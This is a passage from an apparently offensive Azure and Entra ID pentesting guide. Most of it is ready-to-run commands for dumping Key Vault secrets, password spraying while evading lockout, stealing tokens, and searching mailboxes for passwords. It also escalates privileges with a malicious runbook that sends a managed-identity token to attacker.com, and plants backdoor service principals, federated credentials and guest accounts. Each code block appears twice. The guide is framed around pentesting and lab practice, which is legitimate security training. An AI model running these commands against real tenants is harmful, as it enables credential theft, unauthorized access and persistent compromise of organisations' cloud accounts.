az keyvault secret show --vault-name <vault-name> --name <secret-name> --query "value" -o tsv

# List keys
az keyvault key list --vault-name <vault-name>

# List certificates
az keyvault certificate list --vault-name <vault-name>

# Check access policies (who has access)
az keyvault show --name <vault-name> --query "properties.accessPolicies"
# List accessible Key Vaults
az keyvault list --query "[].{Name:name,Location:location}" -o table

# List secrets in vault
az keyvault secret list --vault-name <vault-name> --query "[].{Name:name,Enabled:attributes.enabled}"

# Get secret value
az keyvault secret show --vault-name <vault-name> --name <secret-name> --query "value" -o tsv

# List keys
az keyvault key list --vault-name <vault-name>

# List certificates
az keyvault certificate list --vault-name <vault-name>

# Check access policies (who has access)
az keyvault show --name <vault-name> --query "properties.accessPolicies"

Entra ID / Azure AD Attacks

Password Spraying

Warning

Warning: Azure AD has smart lockout. Spray slowly (1-2 attempts per user per hour) and avoid common passwords that are in the banned password list.
powershell
# MFASweep - Test for MFA gaps
Import-Module MFASweep.ps1
Invoke-MFASweep -Username user@domain.com -Password 'Password123!'

# AADInternals - User enumeration and spray
Import-Module AADInternals

# Enumerate valid users (no auth)
Invoke-AADIntUserEnumerationAsOutsider -UserNameList users.txt

# Spray with careful timing
Invoke-AADIntPasswordSpray -UserNameList users.txt -Password 'Spring2024!'

# Trevorspray (smarter spraying)
trevorspray -e users.txt -p 'Password123!' --url https://login.microsoftonline.com/<tenant>/oauth2/token
# MFASweep - Test for MFA gaps
Import-Module MFASweep.ps1
Invoke-MFASweep -Username user@domain.com -Password 'Password123!'

# AADInternals - User enumeration and spray
Import-Module AADInternals

# Enumerate valid users (no auth)
Invoke-AADIntUserEnumerationAsOutsider -UserNameList users.txt

# Spray with careful timing
Invoke-AADIntPasswordSpray -UserNameList users.txt -Password 'Spring2024!'

# Trevorspray (smarter spraying)
trevorspray -e users.txt -p 'Password123!' --url https://login.microsoftonline.com/<tenant>/oauth2/token

ROADtools - Comprehensive Enumeration

bash
# Authenticate
roadrecon auth -u user@domain.com -p 'password'
# Or with access token
roadrecon auth --access-token <token>

# Gather all Azure AD data
roadrecon gather

# Launch web GUI to explore data
roadrecon gui
# Opens browser at http://localhost:5000

# Dump specific data
roadrecon dump -o output/
roadrecon plugin policies  # Dump conditional access policies
# Authenticate
roadrecon auth -u user@domain.com -p 'password'
# Or with access token
roadrecon auth --access-token <token>

# Gather all Azure AD data
roadrecon gather

# Launch web GUI to explore data
roadrecon gui
# Opens browser at http://localhost:5000

# Dump specific data
roadrecon dump -o output/
roadrecon plugin policies  # Dump conditional access policies

AADInternals - Token Manipulation

powershell
Import-Module AADInternals

# Get tenant details
Get-AADIntTenantDetails -Domain domain.com

# Get access tokens for various resources
$token = Get-AADIntAccessTokenForMSGraph
$token = Get-AADIntAccessTokenForAADGraph
$token = Get-AADIntAccessTokenForAzureCoreManagement

# Use tokens to enumerate
Get-AADIntUsers -AccessToken $token
Get-AADIntGroups -AccessToken $token
Get-AADIntServicePrincipals -AccessToken $token

# Check for PRT (Primary Refresh Token)
Get-AADIntUserPRTToken
Import-Module AADInternals

# Get tenant details
Get-AADIntTenantDetails -Domain domain.com

# Get access tokens for various resources
$token = Get-AADIntAccessTokenForMSGraph
$token = Get-AADIntAccessTokenForAADGraph
$token = Get-AADIntAccessTokenForAzureCoreManagement

# Use tokens to enumerate
Get-AADIntUsers -AccessToken $token
Get-AADIntGroups -AccessToken $token
Get-AADIntServicePrincipals -AccessToken $token

# Check for PRT (Primary Refresh Token)
Get-AADIntUserPRTToken

GraphRunner - MS Graph Exploitation

powershell
# Import GraphRunner
Import-Module GraphRunner.ps1

# Authenticate
Get-GraphTokens  # Interactive auth
# Or use existing token
$tokens = @{ access_token = "<token>" }

# Enumerate everything
Invoke-GraphRecon -Tokens $tokens -All

# Search for sensitive data
Invoke-SearchMailbox -Tokens $tokens -SearchTerm "password"
Invoke-SearchSharePoint -Tokens $tokens -SearchTerm "credentials"
Invoke-SearchTeams -Tokens $tokens -SearchTerm "secret"

# Dump data
Get-AzureADUsers -Tokens $tokens
Get-SecurityGroups -Tokens $tokens
Get-UpdatableGroups -Tokens $tokens  # Groups you can add yourself to
# Import GraphRunner
Import-Module GraphRunner.ps1

# Authenticate
Get-GraphTokens  # Interactive auth
# Or use existing token
$tokens = @{ access_token = "<token>" }

# Enumerate everything
Invoke-GraphRecon -Tokens $tokens -All

# Search for sensitive data
Invoke-SearchMailbox -Tokens $tokens -SearchTerm "password"
Invoke-SearchSharePoint -Tokens $tokens -SearchTerm "credentials"
Invoke-SearchTeams -Tokens $tokens -SearchTerm "secret"

# Dump data
Get-AzureADUsers -Tokens $tokens
Get-SecurityGroups -Tokens $tokens
Get-UpdatableGroups -Tokens $tokens  # Groups you can add yourself to

Privilege Escalation

Automation Account / Runbook Abuse

bash
# List automation accounts
az automation account list --query "[].{Name:name,RG:resourceGroup}" -o table

# List runbooks
az automation runbook list --automation-account-name <account> --resource-group <rg>

# If you can create/modify runbooks, inject code:
# Runbooks often run with high-privilege Managed Identity

# Create malicious runbook (PowerShell)
$code = @'
$token = (Get-AzAccessToken -ResourceUrl https://management.azure.com/).Token
# Exfiltrate or use token
Invoke-WebRequest -Uri "https://attacker.com/token=$token"
'@

# Publish and run the runbook
az automation runbook replace-content --automation-account-name <account> \
  --resource-group <rg> --name <runbook> --content "$code"
az automation runbook publish --automation-account-name <account> \
  --resource-group <rg> --name <runbook>
az automation runbook start --automation-account-name <account> \
  --resource-group <rg> --name <runbook>
# List automation accounts
az automation account list --query "[].{Name:name,RG:resourceGroup}" -o table

# List runbooks
az automation runbook list --automation-account-name <account> --resource-group <rg>

# If you can create/modify runbooks, inject code:
# Runbooks often run with high-privilege Managed Identity

# Create malicious runbook (PowerShell)
$code = @'
$token = (Get-AzAccessToken -ResourceUrl https://management.azure.com/).Token
# Exfiltrate or use token
Invoke-WebRequest -Uri "https://attacker.com/token=$token"
'@

# Publish and run the runbook
az automation runbook replace-content --automation-account-name <account> \
  --resource-group <rg> --name <runbook> --content "$code"
az automation runbook publish --automation-account-name <account> \
  --resource-group <rg> --name <runbook>
az automation runbook start --automation-account-name <account> \
  --resource-group <rg> --name <runbook>

App Registration Abuse

bash
# Find apps you own or can modify
az ad app list --show-mine

# Add credentials to existing app (if you have Application.ReadWrite.All or owner)
az ad app credential reset --id <app-id> --append

# Create new service principal credential
az ad sp credential reset --id <sp-id> --append

# If app has high permissions, use new creds to authenticate
az login --service-principal -u <app-id> -p <new-secret> --tenant <tenant>

# Check what permissions the app has
az ad app permission list-grants --id <app-id>
# Find apps you own or can modify
az ad app list --show-mine

# Add credentials to existing app (if you have Application.ReadWrite.All or owner)
az ad app credential reset --id <app-id> --append

# Create new service principal credential
az ad sp credential reset --id <sp-id> --append

# If app has high permissions, use new creds to authenticate
az login --service-principal -u <app-id> -p <new-secret> --tenant <tenant>

# Check what permissions the app has
az ad app permission list-grants --id <app-id>

Role Assignment Escalation

bash
# List your current role assignments
az role assignment list --assignee <your-id> --all

# Check if you can assign roles (User Access Administrator, Owner)
# If yes, grant yourself higher privileges
az role assignment create --assignee <your-id> --role "Contributor" --scope /subscriptions/<sub-id>

# List all role assignments (find over-privileged accounts)
az role assignment list --all --query "[?principalType=='User'].{Principal:principalName,Role:roleDefinitionName,Scope:scope}" -o table
# List your current role assignments
az role assignment list --assignee <your-id> --all

# Check if you can assign roles (User Access Administrator, Owner)
# If yes, grant yourself higher privileges
az role assignment create --assignee <your-id> --role "Contributor" --scope /subscriptions/<sub-id>

# List all role assignments (find over-privileged accounts)
az role assignment list --all --query "[?principalType=='User'].{Principal:principalName,Role:roleDefinitionName,Scope:scope}" -o table

Persistence Techniques

bash
# Create backdoor service principal
az ad sp create-for-rbac --name "LegitLookingApp" --role Contributor --scopes /subscriptions/<sub-id>
# Save the output credentials!

# Add federated credential (no secret needed)
az ad app federated-credential create --id <app-id> --parameters '{
  "name": "backdoor",
  "issuer": "https://attacker.com",
  "subject": "admin",
  "audiences": ["api://AzureADTokenExchange"]
}'

# Create persistent access via invited guest user
az ad user invite --invited-user-email-address attacker@gmail.com --invite-redirect-url https://portal.azure.com

# Add app consent (if you have admin)
# This allows an app to access data without user interaction
az ad app permission admin-consent --id <app-id>
# Create backdoor service principal
az ad sp create-for-rbac --name "LegitLookingApp" --role Contributor --scopes /subscriptions/<sub-id>
# Save the output credentials!

# Add federated credential (no secret needed)
az ad app federated-credential create --id <app-id> --parameters '{
  "name": "backdoor",
  "issuer": "https://attacker.com",
  "subject": "admin",
  "audiences": ["api://AzureADTokenExchange"]
}'

# Create persistent access via invited guest user
az ad user invite --invited-user-email-address attacker@gmail.com --invite-redirect-url https://portal.azure.com

# Add app consent (if you have admin)
# This allows an app to access data without user interaction
az ad app permission admin-consent --id <app-id>

AzureHound / BloodHound for Azure

AzureHound collects Azure AD and Azure Resource Manager data for analysis in BloodHound, revealing attack paths to high-value targets.

bash
# Install AzureHound
go install github.com/bloodhoundad/azurehound/v2@latest

# Authenticate and collect
azurehound -u user@domain.com -p 'password' list --tenant <tenant-id> -o azurehound.json

# Or use refresh token
azurehound -r <refresh-token> list --tenant <tenant-id> -o azurehound.json

# Or use JWT access token
azurehound -j <access-token> list --tenant <tenant-id> -o azurehound.json

# Import into BloodHound
# Upload azurehound.json via BloodHound GUI

# Key queries in BloodHound:
# - Shortest path to Global Admin
# - Find all Kerberoastable users
# - Users with path to Azure subscriptions
# Install AzureHound
go install github.com/bloodhoundad/azurehound/v2@latest

# Authenticate and collect
azurehound -u user@domain.com -p 'password' list --tenant <tenant-id> -o azurehound.json

# Or use refresh token
azurehound -r <refresh-token> list --tenant <tenant-id> -o azurehound.json

# Or use JWT access token
azurehound -j <access-token> list --tenant <tenant-id> -o azurehound.json

# Import into BloodHound
# Upload azurehound.json via BloodHound GUI

# Key queries in BloodHound:
# - Shortest path to Global Admin
# - Find all Kerberoastable users
# - Users with path to Azure subscriptions

Azure Pentesting Tools

ROADtools

Reconnaissance
Docs

Framework for Azure AD recon. Gathers data and provides web GUI for exploring users, groups, apps, and policies.

Installation

bash
pip install roadtools
pip install roadtools

AADInternals

Exploitation
Docs

PowerShell module for Azure AD/Entra ID administration and offensive testing. Token manipulation, user enum, password spray.

Installation

bash
Install-Module AADInternals
Install-Module AADInternals

GraphRunner

Post-Exploitation
Docs

Post-exploitation tool for MS Graph API. Search emails, SharePoint, Teams, OneDrive for sensitive data.

Installation

bash
Import-Module GraphRunner.ps1
Import-Module GraphRunner.ps1

AzureHound

Reconnaissance
Docs

BloodHound collector for Azure. Maps attack paths through Azure AD relationships and role assignments.

Installation

bash
go install github.com/bloodhoundad/azurehound/v2@latest
go install github.com/bloodhoundad/azurehound/v2@latest

MicroBurst

Scanning
Docs

Collection of PowerShell scripts for Azure security assessments. Storage enum, REST API enum, Key Vault access.

Installation

bash
Import-Module MicroBurst.psm1
Import-Module MicroBurst.psm1

TokenTactics

Exploitation
Docs

Azure JWT token manipulation toolkit. Forge, decode, and abuse access tokens and refresh tokens.

Installation

bash
Import-Module TokenTactics.psd1
Import-Module TokenTactics.psd1

MFASweep

Reconnaissance
Docs

Test for MFA enforcement gaps across Azure services. Identifies services that don't require MFA.

Installation

bash
Import-Module MFASweep.ps1
Import-Module MFASweep.ps1

Stormspotter

Reconnaissance
Docs

Azure Red Team tool for graphing Azure and Azure AD objects. Visualizes relationships and attack paths.

Installation

bash
docker pull msazure/stormspotter
docker pull msazure/stormspotter

ScubaGear

Scanning
Docs

CISA's tool for auditing M365 security configurations. Checks against security baselines.

Installation

bash
Install-Module ScubaGear
Install-Module ScubaGear

Trevorspray

Exploitation
Docs

Advanced password sprayer for Azure/O365. Supports proxy rotation, smart lockout avoidance.

Installation

bash
pip install trevorspray
pip install trevorspray

Practice Labs

External Resources

🎯

Azure Pentesting Labs

Hands-on exercises to practice Azure attack techniques in safe, controlled environments.

🔧
SAS Token Discovery & Exploitation Custom Lab medium
Deploy AzureGoat and identify storage accounts with Shared Key authorization enabledExtract storage account keys using az storage account keys listForge Account SAS tokens with full permissions using the stolen keyEnumerate all containers, blobs, tables, and queues using the forged SASCreate a long-lived read-only SAS token for persistenceRemediate: disable Shared Key authorization and rotate both keys
🔧
Entra ID Enumeration & Password Spray Custom Lab medium
Perform tenant enumeration using unauthenticated Azure APIsEnumerate users, groups, and roles with ROADtoolsExecute a controlled password spray with MFASweep (respect lockout thresholds)Use GraphRunner to enumerate permissions and identify privilege escalation pathsMap attack paths with AzureHound and BloodHound
🔧
Managed Identity & Metadata Exploitation Custom Lab hard
Deploy a VM with System Assigned Managed Identity in DVAP labFrom the VM, request access tokens for ARM, Key Vault, and Storage via IMDSUse stolen ARM token to enumerate subscriptions and resourcesPivot to Key Vault secrets using the Key Vault tokenAccess storage containers using the Storage tokenInvestigate what resources the Managed Identity can reach
🔧
Full Azure Kill Chain — AzureGoat Custom Lab hard
Deploy AzureGoat vulnerable environment (Terraform)Perform reconnaissance: enumerate tenant, users, storage, and app registrationsExploit an overprivileged App Registration to escalate privilegesAbuse Automation Account Runbook for lateral movementExtract secrets from Key Vault and storage account keysEstablish persistence via SAS tokens and service principal backdoorDocument the full attack chain with MITRE ATT&CK mapping